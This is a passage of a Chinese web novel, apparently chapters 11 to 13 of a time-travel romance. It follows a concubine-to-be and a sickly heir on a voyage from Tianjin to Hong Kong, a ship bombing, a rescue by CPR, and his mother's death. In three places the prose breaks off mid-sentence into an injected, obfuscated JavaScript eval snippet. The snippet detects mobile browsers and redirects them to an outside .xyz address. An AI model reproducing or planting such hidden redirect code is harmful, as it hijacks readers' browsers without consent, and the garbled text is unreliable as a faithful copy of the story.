前几日酷暑,热过劲儿了以后天气就凉下来,外头的知了也不叫了,早起还感到一点凉意,程筝加了个米色的呢子披肩,拉开屋门见杨妈还在东跑西跑地忙活。 “良少爷在楼下用饭,姨太太也去楼下吃完再走吧。” 程筝向东边望了一眼,问道:“鹤少爷还没醒觉?” “醒了。”杨妈说道,“老爷把他叫到屋里去谈事情了,他吩咐过不吃早饭。” 周太太没有行程,还没起,楼下只有周怀良一人在用餐,他平日的作息应该十分健康。 桌上一盘羊肉蒸饺,薄瓷盅里盛着枣粥,程筝跟周怀良一人端坐一头,谁也不挨着谁,只不过因为丢了卡子,程筝的头发频频往下落,对面的人瞧过来几眼,放下碗筷拿出两只银夹子出来,推了出去。 “你的。”他重新端起瓷碗,程筝瞧见一双布满细小豁口的手,衬衫袖口向上挽起,露出一截精壮的小臂。 周怀良将视线落回碗底,枣粥袅袅的热雾浮上他面庞。 程筝狐疑道:“怎么会在良少爷那处?” “从怀胜头上取下来的。”周怀良道。 “府上还有四少爷?” “是昨日母亲给狗取的姓名。” 程筝努力将两片唇抿进去,心道周老爷是否知道自己一夜多了个狗儿子。 周怀良觑她一眼:“要笑就笑罢。” 她莞尔,银色夹子缀在耳朵边上,晃了周怀良的眼睛。 “周太太准是祝您旗开得胜。” 周怀良放下碗,道:“我倒是希望少打仗。” 此时杨妈跟芸芸正好在帘布后面的小屋里吵架,程筝刚投过去一眼,杨妈就丧着脸吩咐芸芸去楼上催一下老爷跟鹤少爷,再拖下去要赶不上船了。 芸芸欲言又止,苦脸捏着手指尖儿上楼去。 程筝问道:“芸芸何至于这么气?” 杨妈叹道:“她急用钱,要支工钱,我叫她有本事去跟太太坦白。” “坦白什么?” “嗳,她总想着她那个——没什么,不关六姨太的事。”杨妈将嘴紧闭,做事去了。 芸芸这时已经叫完人下楼来,脸色依旧黑如锅底,说话也只咕哝在嗓子里:“鹤少爷说马上来。” 杨妈也不同她气,道:“老爷说要吃早饭了么?” “没。”芸芸梗着脖子说道,“老爷说昨夜太累,跟鹤少爷交代完香港的事就得睡回笼觉。” 闻言,周怀良眉心轻微一蹙,覆着薄茧的手托着瓷碗底部,指尖点了点碗壁,忽地睇了程筝一眼。 程筝深感莫名。 “我确实瞧见父亲昨晚上很晚才回屋。”搅了搅碗底的粥,他道,“程小姐更晚。” 忽地被提及,叫程筝警惕了些许,撇眼看向对面从容淡定的男人。 难不成昨天晚上她的行动被这人瞧见了? “昨晚上我……”想了想,程筝刻意笑笑,“我遍处找怀胜,想拿回我的卡子,我将院子里那些平房都寻遍了都没见着,没成想是良少爷拿去了。” 周怀良掀起眼皮盯她,轻轻“嗯”过一声就不发话了,不知在想什么,略走着神。 楼上的门开了,周怀鹤慢步下楼,苍白羸弱的面上套着一层深思,不知周老爷同他说了些什么,叫他这样沉默。 “王发呢?”周怀鹤问着。 杨妈指指前边儿大门:“在车里头候着呢,我这就把他叫进来抬行李。” 因着担心周怀良对昨夜的事还有疑问,程筝急急想走,说道不吃了,站起来掸掸旗袍,恨不得马上钻到车里去,还邀请周怀鹤,说鹤少爷我们快些上车去罢。 她的殷勤倒更值得周怀鹤深思。 见两人一齐出门去,周怀良向芸芸问:“五姨太染病,同程小姐有什么关联?她为何要跟去香港。” 芸芸心不在焉收拾程筝留下的餐盘,回道:“何师父看了六姨太的八字,说要缓一年再嫁进周家来,可老爷的身子又迟迟没有好转,何师父就叫六姨太去香港天后庙为老爷求福,正好跟鹤少爷一道去了。” 周怀良默一瞬,再开口:“后院的屋子是做什么用的?” “都是我们这些杂伙计住的屋子,没甚新奇的。” “我父亲常去么?” “老爷他——” 芸芸一脸踌躇,周怀良瞧她一眼,抛出话来:“你说实话,我叫杨妈支工钱给你应急。” 这下芸芸的嘴皮飞快:“嗳呀老爷抽上了大烟,太太很是不喜,老爷就到平房的隔间里头躲着抽,三五日去烟铺上躺上一次罢。” 周怀良紧皱眉头,芸芸讪讪,小声嘀咕:“大少爷可别将我捅了出去,老爷准要责骂我。” “他何时染上的?” “半年前罢,我记着秋水少爷那时还在家待了一阵。” “方秋水引他抽的?” “良少爷啊……我没有这样说。”芸芸怕了。 周怀良的脸跟千斤坠子似的沉下,抬抬手指:“不关你事,去忙罢。” 除二人外,王发上下跑了两趟,将程筝和周怀鹤装衣服的匣子都拎进了车里去。 二人一齐坐在后排,窗户用一层透光的纱帘遮住,外头的街景也瞧不真切,程筝只隐隐瞥见芸芸从大门出来,拎着钱袋子叫一辆黄包车走了。 她正要掀帘子去看,边上周怀鹤发声:“到香港后,你同我们一起住我姨妈那处。” “好。”程筝应下。 “北伐才结束一年,香港那边也并不比天津安生多少,我要看照我母亲,没工夫照拂你,照何师父说的去完天后庙以后就叫王发载你走,不要在不识得的地方逗留。” “好。”程筝又应下。 周怀鹤略略侧头,“身上有钱么?” “鹤少爷打算给我钱?”程筝眨眼,“多多益善。” 他瞧她一眼,飞快挪走视线,不动声色:“叫王发支给你一些。” 说曹操曹操到,王发搬完行李,准备驾着车子上路了。 三十年代的雪铁龙汽车颠簸起来,周怀鹤的嗓音尽管静,也跟着上上下下地抖了起来,五指握拳抵在唇边轻咳,说了最后一句话:“到了香港,少听、少问,六姨太须得做个明白人。” 程筝歪着头看飞起的帘子,道:“我自然明白。” 早上九点钟光景,老天津卫的摩登程度不及上海,街景都带着朴实的旧中国感,满街车夫、报棍子、酒楼鞋店洋货铺。 这里与程筝生活的时代大有不同,可她一直都明白自己来这一趟是做什么。 无数念头在心尖盘桓,程筝垂着的胳膊肘划过周怀鹤的衣裳,于是她便从那无数个念头挑出一条来。 在这里等着时间白白耗过去当然是不行的,二十一世纪的姥姥还大病不起,程筝自然知道自己不是来当这富太太的。 既然现在她去留的问题已经解决得差不离,那么当务之急就是—— 是要用周怀鹤来试何师父一试。 虽说心里生出几分歉疚,可她心里已然有了算计。 程筝望着玻璃映出的周怀鹤的侧颜,伴着一路老牌汽车的引擎声到了码头。 天津本就因漕运而兴,开埠后成为北方贸易中心城市,河面上泊着几家商号的货船,沿着两岸,船只浮得高高的,摇摇晃晃像只跛了脚的白鸟。 其中最高的一艘,就是他们今早要乘的云霆船,是一条快船,走水路一两日光景抵达香港,早晨出发,约莫明天夜里到。 检过船票,王发拎着两个皮匣子上了轮船,他们赶得紧,将将上去,轮船局的办事人就忙乱起来,高声吆喝着轰走那些车夫和卖报的报棍子,说船要开了。 船上有过夜房间,一张船票对一间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16163935|178680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房,王发捡的是剩票,三个人都不挨着,岔得乱七八糟,他欲帮程筝将匣子拎进屋里,程筝自己接过去整理了,船舱房间污秽不堪,收拾完已是晌午,她满头大汗,到阑干边上透气。 周怀鹤早有预感自己要晕船,上船后就歇进了房间里,只叫王发将他的书找出来。 王发去送完书本,半路上就被程筝拉住,她问王发有没有什么连环画可供打发时间,王发指了指周怀鹤屋内:“你去问鹤少爷愿意不愿意借你一本。” 程筝在他门口来来去去走了几道,周怀鹤猛地将房门一开,静静盯着她。 “准六姨太为我守门?受不起。” “我是想来找你讨本图画看。” 周怀鹤道:“我不看那种小孩子东西。” 程筝像只活泥鳅,沿着他手臂跟门框的缝隙滑进去,言笑晏晏地坐在他床榻上,拍拍旁边的位置:“鹤少爷跟我口述故事也行。” “我顺带跟鹤少爷谈讲一下还人情的事。” 周怀鹤定两秒身子,将门合上。 “有话直说。”他道,“我承诺过会依你。” “不急。”程筝慢慢笑,“待在船上无聊,鹤少爷给我念念书?” “给你念书,我会无聊。”他很是冷静。 程筝塌肩膀,披肩像鸟翅膀一样掀起来,“委实是难对付。” “我可是怕鹤少爷为五姨太的事伤神,特地来安慰你的,你可太不解风情。” 周怀鹤已攒下些应付她的经验:“擦了油的车轱辘都没六姨太的嘴跑得快。” “才不,我说得很真。” 轮船行得不稳,左右晃荡的,程筝慢悠悠道:“谁都不是石头缝里蹦出来的,我也有在老家养病的母亲。” “她会给我讲小人画,我妈妈哼唱京戏也是不错的。”其实程筝记不起来,因为妈妈去世太早了,这时候她只能参照着和姥姥的往昔去说,“小时候爸爸罚我掰苞米,她会偷偷给我塞糖糕。” 她的目的在于打情怀分,她想要从周怀鹤嘴里套出些五姨太在香港的事情来,这是程芸菁所不知并且无法透露给她的,程筝不知道周怀鹤在香港做什么,过多的未知会让她的计划失去把握。 例子举了很多,程筝老神在在,周怀鹤一声不发,敛下眼去。 “说完了?”他轻飘飘道。 程筝诧了一瞬,心说自己难道说得还不够温情?想起这些旧事她自己都要泫然若泣了。 可周怀鹤只是脸色越来越沉,他的脸本就覆着一层病态的雾蒙蒙的白,此时更是难看,连带着声音都多了几分中气:“我原以为你是同我讲还人情账才放你进来的,如果六姨太与我谈讲这些,不如现在就出去,回去自己的房间。” “我并无连环画给你看,六姨太可以做梦打发时间。” “我——”程筝没想到这么快就失算,被赶出了房间,眼见那门在自己鼻尖跟前关上。 王发正端了饭给周怀鹤送去,与吃闭门羹的程筝面面相觑。 她无奈:“看样子我又惹到他了,这人脾气忒坏。” “鹤少爷性情不算坏的,你同他说什么了?”王发纳罕。 程筝道:“我怕他难过五姨太的事,跟他说起我的母亲。” 本意是向他证明她也有相似的亲情的挂念,不曾想竟弄巧成拙。 王发默然,这份沉默叫程筝确认,自己说错话了。 难不成周怀鹤跟五姨太关系不好?那他何必这样忧心忡忡地要赶到香港去。 程筝很少有处理不妥善的人际关系,所以彼时的她也很难想通,这世界上亲缘关系是多样的,无数恨者,无数爱者,总在发着恨的同时惦记着爱。 大抵每个人对母亲都抱着异样复杂的感受。 而这天夜里,五姨太悄然病逝了。 周怀鹤的姨妈秦三小姐向周公馆发去若干封电报,可云霆号出航已有半日。 在那个什么都慢熏熏的年代,有人竟不知自己在船上飘飘荡荡的,就恍然间丢掉了母亲。 12.第 12 章 程筝整夜在海面上摇晃,每每将睡之际又被晃醒,胃里的东西更是翻搅上来堵住喉管,晕船晕得她恨不得直接灵魂出窍穿回去。 船舱房里有青苔的潮味,空气也湿极了,程筝睡不着,复又想起白天的事,睁了眼睛。 忽地,外头有人敲了她的门,程筝撑坐起来,没吭声,王发的声音闷顿传来:“六姨太,你那里还有多的晕船药么?” 程筝说有,随即搜找起来,开了门递给他,多问一句:“你拿给鹤少爷的?” 王发脸色煞白,像是长了一副软骨头:“我好多年不坐船,晃了一天,现今也是撑不住了,吐了好几回。” 回廊虚亮着几盏电灯,程筝斟酌几番,开口道:“要喝水么?我拿给你。” “不用。” “恰好有事问你。” 说着,程筝回身去屋里倒一杯水出来,她并不排斥王发进屋坐着说,可他觉得委实不妥,只愿站在外头讲话。 于是程筝指指船舱边的阑干:“去那处靠着说。” 天儿暗得似一只盘踞在云顶的黑蜘蛛,结下黑色的网,连海面上的水都映成了灰黑色,王发仰头吞了药,两手捏着杯子,显得并不十分自然。 “六姨太想问什么?” 程筝道:“鹤少爷同五姨太关系究竟如何?” 王发迟疑,她紧接着解释:“我如何也想不通我怎地惹恼了他,如若真是我犯了什么忌讳,你同我讲清楚我也好向他道个歉。” “你这么问我我也说道不出什么……他们的关系时好、时又不好,我说不明白。” “五姨太为何自己一人奔去香港?” “头几年四处起义,五姨太,以及她的姐姐秦三小姐,那时背着老爷偷偷参加,被捉去审,五姨太那时怀着鹤少爷,人家还怜悯些,可秦三小姐是直接被折了根指头。” 王发惘然,叹了又叹:“周家那时靠的是政府,可留不得这样的人,老爷本来打算直接休掉,避免惹火上身,还是周太太四处打点才将人保了下来,把五姨太姐妹二人送去了香港,叫她躲好了再也不要回天津。” 五姨太见自己出了事,周峥这厮却不闻不问,自然是心如死灰,同周老爷大闹一番,遁去香港。 可她的父母已经被枪毙,自己是身如浮萍又毫无背景可依,总不能跟只雏鸟似的张嘴就等着毫不相干的周太太喂食,于是刚生下周怀鹤那几年,秦家姐妹二人日子过得极为清贫:租的是公屋,睡的是硬板床,还要战战兢兢担忧自己一不当心就被军官拿枪抵了脑袋。 周怀鹤那时就是靠缺了手指的姨妈做针织活儿,靠连月子都没坐就四处打工的母亲的稀薄的奶水,一点点长大。 五姨太身子差,奶水也不够,因此周怀鹤打小身子也不好,三天两头落病,五姨太见他奄奄一息,自己也跟着抓狂地哭。 那时候可还是大批人裹过小脚的时代,一个独身女人要养家简直难如登天,五姨太被逼迫得不得不扛起重任来,渐渐的,性子不得不强硬起来,否则就只有落得别人欺负的份。 她挣钱,也咬牙给周怀鹤请过教书先生,王发住他们隔壁,蹭着听了不少讲学,也亲眼见到那个瘦津津的女人叫周怀鹤跪在地板上,拿掸子将他的小臂抽出一条一条,青紫色小蛇般的痕迹。 在很长一段时间里,王发叫五姨太老妖婆,每每做梦梦见她训罚周怀鹤,醒来后都要擦擦冷汗。 周怀鹤似乎一点儿错都不能犯,本子上不能出现红墨水打的叉子,背书不能背得坑坑巴巴,背错了就要站在公屋门口顶着砖头厚的书罚站,连饭都不能吃,被路过的人笑话。 五姨太说他必须十分、异常、极其出色,不能跟周峥那个拆白党混为一谈,等他再长得大些,自然可以回周公馆当他的少爷,享他的福,可她得一辈子留在这不见天日的破屋子里! 周怀鹤的胳膊还发着颤,痉挛着鞭到身后,他跪得板直,消瘦的肩胛骨撑不起衣服,腰腹部空空荡荡地摆着。 他静静垂眼,对母亲道:“我回周家以后,会接济母亲的。” 五姨太瞧着他,吧嗒掉下两颗珍珠似的眼泪:“妈妈知道你是好孩子,我也并不需要你接济,我可以病死饿死,但你要是不成器,回不了周家,你得和我一齐饿死在这里,到时候坟也埋在香港,魂都飘不回天津!” “现在周家家大业大,周太太的儿子成中流砥柱,连那个姓方的野种都去留洋念书,你学不好、做不好,如何同他们争抢?周峥当然能够狠得一个子儿都不留给你,就如同他当初直直抛下我一般!” 那时候五姨太身体已经很是不行,叫秦三小姐送信去天津,将周怀鹤送了回去,毕竟他是周峥的亲生儿子,周峥再怎么样,儿子他还是要的。 秦三小姐去外面托人发了电报,回来时看见周怀鹤还跪在原地,王发在一旁手足无措,她将周怀鹤扶起,嘱咐了许多事。 此次他回天津,周公馆里三个少爷,周太太与二姨太积怨已久,不用周怀鹤掺和,周怀良同那方秋水都得斗起来,届时必定鹬蚌相争,他好好藏着,当最后的渔翁是最好。 而回周公馆,身边不能没有可信的亲信,秦三小姐同王发的父母商量,说叫他去有钱人家伺候少爷,工钱还能寄回部分到香港赡养父母,于是王发就这么跟着去了。 回天津的时候乘的是最破的船,周怀鹤全程静默着一言不发,像个哑巴,只是晕船吐了一夜。 所以,王发无法替鹤少爷判断那是恨还是爱,是恨那些年里自己挨过的毒打,还是爱那些年里母亲辛劳的培育? 一盏茶全部见底,耳边海浪卷着风声,王发向程筝道明:“六姨太在鹤少爷面前讲你母亲怎地温柔大方、怎地疼爱你,鹤少爷自然是不愿意听的,他自小就没有这些。” 程筝眯眼望着船外的风浪,道:“你应该一早讲给我听的。” “少爷不喜和旁人讲这些,挫锐气。” “那我应当装个傻,不去解释了,免得显得刻意,叫他觉得我是同情。”程筝说道,“想来他也不愿意和我讲个中缘由,还好我问了你。” 王发叹气:“不要去提。” 两人又站了一会儿,王发拿着杯子准备回房,说杯子他洗净了再还回来,程筝不甚在意地挥一挥手。 手刚放下,西边传来一声巨响,惨叫被掀了起来,程筝眼见着从斜前方的船舱里爬出个人来。 捂着胸口,似乎中了弹,血淌了一地。 “哪儿来的枪声!”人群惶惶然,不少人都惊恐地涌出船舱,被连成线的血迹吓了一跳。 那人刚奔逃出来,同一个舱房里又奔出来三两道人影,腰带里别着跟周怀良一样的盒子炮,两方直接在走廊里拼起军火,也不知是哪方挟了人质,只听见有人哭天抢地呼喊老家的父母妻儿。 程筝被震得耳鸣,来不及多想,随着人流一起匆匆逃窜。 王发懵一瞬,旋即找去周怀鹤房间,连行李都顾不上,叫周怀鹤快逃,走廊的灯都被枪子儿击破几盏,周怀鹤才被枪声惊醒,尚且晕船晕得恶心,面如灰土地挤进人流里。 轮船局 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176571|178680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随船的办事员扯嗓子大喊:“跳船!跳船!船上有偷渡的,疑似埋了炸药!我们已经给同航线的轮船发了电报!” “跳船不是被淹死么!” “水淹还能有一线生机,你顶得住炸药么!” “这些人自己斗来斗去,全叫老百姓陪葬!我们都要躲去香港了还要遭这么一劫!” 有人这么骂着。 人群挤作一团,程筝跟周怀鹤他们汇到一处,王发推着二人:“快翻阑干跳出去!” 人像热锅上被烧烫的蚂蚁,扒着阑干往外爬,后面的催着前面的快跳,程筝双手刚攀上去,后面人急得要掀她,周怀鹤捉住那人的手。 程筝后悔穿这么不好行动的旗袍,腿脚也伸展不开,好费劲地翻过阑干,在一船滚烫的热风中坠下,江面像锅,人像下进去的饺子。 耳口鼻均被江水淹没,程筝从未习过游泳课,憋气憋得难受,坠下去不久,江面上便爆响一声,轮船被炸碎的壳片四处飞溅,掀到岸上又是一起山火事件。 程筝只感觉自己被滚烫的巨浪推出去好远,火球便在水面烧起来,慢悠悠打着旋,随后如同垂垂暮矣的老者,浑身黢黑地散下架来。 她缺氧晕了过去,也不知自己有没有浮上江面,呛水醒来时天已经亮了,她躺在另一艘船的船板上,船板都是云霆号的失事乘客,到处都湿答答的。 程筝呕出几口水来,虚弱撑坐起来,抹去黏在眼皮上的头发,四下寻着人,在身后十尺的位置寻到了周怀鹤。 他似乎还没醒,被捞上来就扔在那儿,衣服头发都皱巴巴黏在身体上,皮肤像被泡发了一般惨白。 不会死了罢!程筝心惊一瞬,这速度并不按照她的预想,她也并不知道以前周怀鹤是不是也经历过这次船难,十分担忧是自己跟上船来的蝴蝶效应。 这么想着,她蹒跚着寻去周怀鹤身边,蹲坐下来,两手捧起他的头,拍了几下:“醒醒!” 探了鼻息,尚且有气,只是极为虚弱,他身体本就病怏怏的,这下不会真要溺死了罢。 程筝又唤了几声,这人单薄的眼皮始终闭着,头发和睫毛都被浸湿,过白的肤色倒真显出一股死人气。 她犹豫了。 她想起姥姥,想起玉玲的话,玉玲说,杀人总比救人容易。 事实确是如此,只要她撒手不管,甚至于此时刻意陷害,周怀鹤的死亡也不会跟她扯上关系,她大可以归咎于天灾人祸,叫这人自然死去,再刺探一下何师父的底细,不叫人给他续命,便万事大吉。 程筝盯了他许久,手心贴着他的脸颊。 他的衣裳被冲散,领口扣子不翼而飞,裸露出的肩膀位置还能瞧见陈年积攒下来的一些棍痕。 她默然片刻,眸光在那伤痕上落了几落,随后放弃了思想斗争,眼一闭,给他做胸外按压,叫他呛出几口堵住气管的水,再摆正周怀鹤的脑袋,一手托住他后脑,一手掰开他下巴。 她的头发长长垂下,湿润地贴在周怀鹤眼皮上,像串好的珠帘一样遮住二人贴在一起的唇,如同什么不可告人的秘密,若隐若现。 江水的味道席卷感官,程筝给他渡气,随后继续按压、再渡气,如此反复几轮,周怀鹤的唇色略有回温。 此地无人知晓她是六姨太,也无人知晓他是鹤少爷,人们只道是一人施救于另一人。 在第不知多少次唇齿相互靠近时,周怀鹤虚虚睁开了眼睛,瞧见是她极近无比的睫毛,像被雨水打湿的蝴蝶,一下一下地颤。 他心底轰然一声。 13.第 13 章 程筝瞧见底下人张开了眼,她最后渡完口中那口气,稍稍挪开唇,盯着他的眼睛,觉察出一些好似搁浅的鱼张合着腮的幅度——他的眼睑略略睁大了些。 “你醒——”还未说完,周怀鹤猛地旋身起来,低眼看见自己炸开的领口扣子,竟是连声谢谢也不道,背过身去了。 在一旁湿着头发的程筝略显茫然,撑坐着拧起头发来,心中不平:“真是好人没好报。” 周怀鹤撇开眼刻意不瞧她,吞咽口水,突然问起别个来:“王发在哪儿?” “不知道。”程筝扬头四下看了看,并未瞧见王发的影子,心腔往下一沉,心道难道没被捞起来? 周怀鹤眉心一紧,掖好领口站了起来,二人顺着船板查完所有捞上来的云霆号乘客,均未寻到王发的影子。 办事员正挨个清点船民的姓名,周怀鹤扯住人问:“有没有一位叫王发的?” 办事员瞧一眼名单,说没有,随即又说道:“云霆号失事以后,临近的两条船一起捞了沉水的人,估摸是在另一艘船上。” “麻烦帮我给另条船发个电报去问一问。”周怀鹤道。 对方应下,说等等就去。 说是等等,可一直到船将靠岸时才送来消息,说他们要寻的“王发”正在另一条船上,那船行得慢些,明日一早才能靠香港的岸。 到码头时香港正阴天,柏油山道像织锦一般一行穿错着另一行,二人下船,远远望见双层的公共汽车顺着山道慢行下来,车上不少附近大学的学生,抱着书,穿着蓝布夹衫,探量着湿淋淋上车的二人,边说,口中边谈论接下来的茶舞会。 讲的是广东话,程筝一丁点儿都听不懂。 她觉得自己浑身湿透,衣服才吹得半干,尚是黏在皮上的,活像用胶水黏过,颇显得狼狈。 他们坐下,预备先去寻秦三小姐,随后一齐去医院看望五姨太。周怀鹤付了两张车票钱,皮夹子里的纸币也是湿黏的。 前几年周怀鹤回了周公馆以后,每月定期会往香港姨妈的账户汇款,最大的一笔就是这几日买西药股挣的钱,全都汇了过来,一部分给母亲和姨妈赁屋用——她们不肯买房定居,另一部分则叫姨妈交进医院里。 现在钱款充足,只要他母亲的病尚有转机,那么费用自然是不愁的。周怀鹤如此想着。 只是,只是。 当公车驶到地点放下二人,他抬着湿漉漉的眼,瞧见的却是大门口吊着的白色布花,像是直接从灰色的天幕上垂进他眼睛里似的。 周怀鹤定住身,久久地,眼都未曾眨动分毫。 一眼望过去,明显是在办丧事,程筝侧目望他一望,见周怀鹤垂下的苍白的手指轻微抖了两抖。 她掀开唇瓣预计说些什么,末了也无甚可说的话,又闭上了嘴巴。 天呈现雾霾笼罩的灰色,疏疏落落下了点儿毛毛雨,华氏温度计的水银往下落了几度。 灵堂的大客厅里只有他的姨妈秦三小姐,以及一樽盖了花的棺椁。 五姨太死了,只有一个姊妹充当吊客。 秦三小姐居黑色丧装,腰胯部分系白布,不知在火盆前盯了多久,背略略弓缩住,听见动静后掉过头来,眼眶边泛起些微红色。 看清来人,她凄哽说道:“你怎地现在才到!我昨夜往天津送了信,他们说你已经上了船,你母亲……昨天夜里就去了!” 时值夜里,鼓乐手已然离去,留下一堆乐器搁在地上,大客厅里静默下来,周怀鹤只觉耳朵边儿抽去了什么似的异样清寂,他开始眨眼。 不知是因为晕船症还是别的什么,周怀鹤忽地躬身干呕起来,程筝见状急急忙忙搀住他的胳膊,被他紧紧捏住手腕。 她面朝秦三小姐说道:“我们来时路上遭遇船难,奔波两日,烦请找处地方歇一阵脚再谈话罢。” 她们几年前从公屋搬到如今这所赁屋里,面积较之前大许多。两间房,秦三小姐住着一间,五姨太自己住一间,不过后来她常住医院,屋子许久没人住了。 秦三小姐悲戚地领着他们去了五姨太原先的房间,将呕吐不止的周怀鹤先安置在这里,随后兑了两杯温水来叫二人先坐下休息。 仅有两间屋子,男人住一间,女人住一间,睡不下的只得打地铺。 五姨太的棺椁还在底下大堂里摆着,香几乎都要燃尽了,周怀鹤在母亲的屋子里休息,闭上了门,谁也不知他在想什么。 程筝觉得这种时候还是安静些好,叫人有自己悲伤的空间,不去打扰。她的行李约莫已经被炸成碎片冲走了,只得换了三小姐拿来的衣裳,同她睡在一处。 夜里听见三小姐总翻来覆去,她似乎一夜没睡,早早便起了,找了殡仪馆里的人将棺材抬了走,丧事只办了一天,三小姐静静说,她们在香港举目无亲,死了也没人来吊唁,不如叫她妹妹早些安息。 程筝看看那檀香木打制的棺椁,略低头拜了一拜,默哀。 王发是晌午到的,周怀鹤到第二日仍直犯恶心,肠胃如同陡然间受了刺激,秦三小姐便叫王发去买些山楂或酸梅过来,拿酸东西压一压。 秦三小姐并不闲在家里,送走妹妹的棺材以后又找上楼同周怀鹤商讨了些事,程筝不好上去听,只瞧见她下楼时手里捏了两张洋行的支票,将王发扯至门口细语几句便出了门。 门口的话叫程筝听着几个“公司”“债券”之类的字眼。 “我来时瞧见不少军官,三小姐现在出门能行么?他们估计会上门查关。”王发忧心。 三小姐啐道:“呸!那些狗腿子早奉了英国人为主子,中央现今全换了洋主子,连带着底下的人刀尖直朝同胞,见之欲呕!” “不过不当事,我平日行事小心非常,他们没证据捉我。注册的名额好久才拿到一个,今日我去办妥,况且妹妹的事还需登报传出去,叫另一头知晓。” 说着,往上扬一眼,眼睛里头不少红色血丝,“关照下鹤少爷的身子,非必要时刻无需出门,免得遭英国人查,我去去就回。” 门被关上,程筝探着口风:“五姨太的丧事还未办妥么?三小姐怎么这样急着出门。” 王发搪塞几句:“是还有些后事要处理,叫我们午饭上外头吃。” 这里不比周公馆,是没有帮佣和专门的厨子的,生活起居全由自己照料。 王发问着:“六姨太不上天后庙去么?” “不急。”程筝道,“后日才是庙会,今明两天都闲着。” “现在的计划是什么?等我从天后庙回来便启程回天津么?” “怕是没有那么快,鹤少爷说要等五姨太下葬以后再走,还有些要紧事没处理妥善。”王发说。 程筝点头,知晓自己是套不出来话了,便噤声。 那日秦三小姐很晚回来,比昨夜睡得快,待人睡着以后,程筝起来解手,推门看见大堂吊灯是亮着的。 她循声下楼,见他衣着单薄,斜卧在沙发椅上,眉与眼之间夹一丝寂寥,几案上是很小的一张黑白照片。 “还不睡么?”程筝披了件衣服,问道。 “姨妈找好了墓园,明日母亲便葬进去了。” 程筝也坐下来,远远望了那相片一望,一母一子。模样已经模糊了。 他的脖子支在靠背上,半阖着眼,嗓音靡靡:“姨妈说她去世之前一切正常,并没有将死的迹象,入睡之前还说隔日要吃早市的茶点,可一觉睡醒人就没了。” 程筝垂眼,在这描述里寻到一星半点儿姥姥的影子,如果她这次回溯不成功,回去了可能也就像周怀鹤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205316|178680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样无声地颓丧。 “节哀。”她道,“世事总是无常。” 走神间对上周怀鹤的眼睛,程筝就忽地心虚了,甩开眼。 也不知是不是因为五姨太的死讯,他的眼珠被顶上的西式吊灯晃了一晃,真像遭大火烧干的珍珠,是发着涩的一抔珠灰。 半晌,他将胳膊也搭在椅子扶手上来,似是不剩几分气力,轻轻地说:“你知道她知晓我要赶到香港来,叫姨妈嘱咐我什么?” “她说,我斗得过斗不过周怀良?争得过争不过方秋水?周峥有没有说定给我打理些什么产业,我能不能在周峥死后占了他的家业。” 周怀鹤声口拖拖拽拽,秉一副极淡的腔调:“她觉得我得到了这些,她便有报复的快感,我如同她放在瓮里的蛐蛐,须同另外两个兄弟绞缠。” 屋子里空空荡荡,只有他的话羽毛般浮在湿润的空气里。 “六姨太觉得我是当斗还是不当斗?” “你的事何须叫我做决定?” 周怀鹤静静道:“我以为你很是好奇,很是想插手,否则怎会一个劲儿向王发打探我的事。” 程筝一诧,心说王发这报告打得也忒快。 他徐徐伸手去端茶盏,那半盏茶已然凉透了,被他抿进口中。 周怀鹤眸光落于茶水上,并未看向她,但话确实对她说的:“六姨太好功夫,从王发口中将话全撬了出来罢,现在恐怕觉得我如何如何可怜,生在商贾之家,却不如你过得欢快,没有会塞糖糕、讲故事的妈妈,只有一个好逸恶劳抽大烟的爸爸。” “我顾影自怜都来不及,何至于心疼你?”程筝咂舌,“可我委实该向你道歉。” “道哪门子歉?”周怀鹤动作定了一定,撇眼看她。 程筝说:“那天在船舱里说的话戳进你痛处了,我那时不知你的境况,于是才向王发询问,并无刻意探询或取笑之意。” 刻意探询其实是有的,但来之前周怀鹤叫她少听少问,程筝也不可能自爆。 “你总能寻到借口自圆其说。”周怀鹤虽这么说,似乎并不打算继续追究下去,换言说道:“我并未因为这种事情难过生气。” 程筝睨他一眼。 这人骗人,当时明明就气着了,还将她推出门。 “我的歉道完了,鹤少爷欠我的可得记着还。”程筝一一数来,“我透露的消息叫鹤少爷挣得盆满钵满,此为一恩;发船难时我救你半条性命,此为二恩罢?” “你可欠我两个人情,我帮你许多,你还整日疑心我,鹤少爷随时怀疑我的真心,叫我既难过又气恼。” 说罢,还煞有介事地晃晃脑袋,叹一口短促的气,极哀伤似的。 周怀鹤倏地抿住两片唇,心中蠕蠕似有虫爬过,睇她一眼,无言之中透露“你竟还敢提船难”的讯息。 程筝毫无羞赧之意,盈盈笑道:“我可从未亲过其余男人,鹤少爷是首个。” 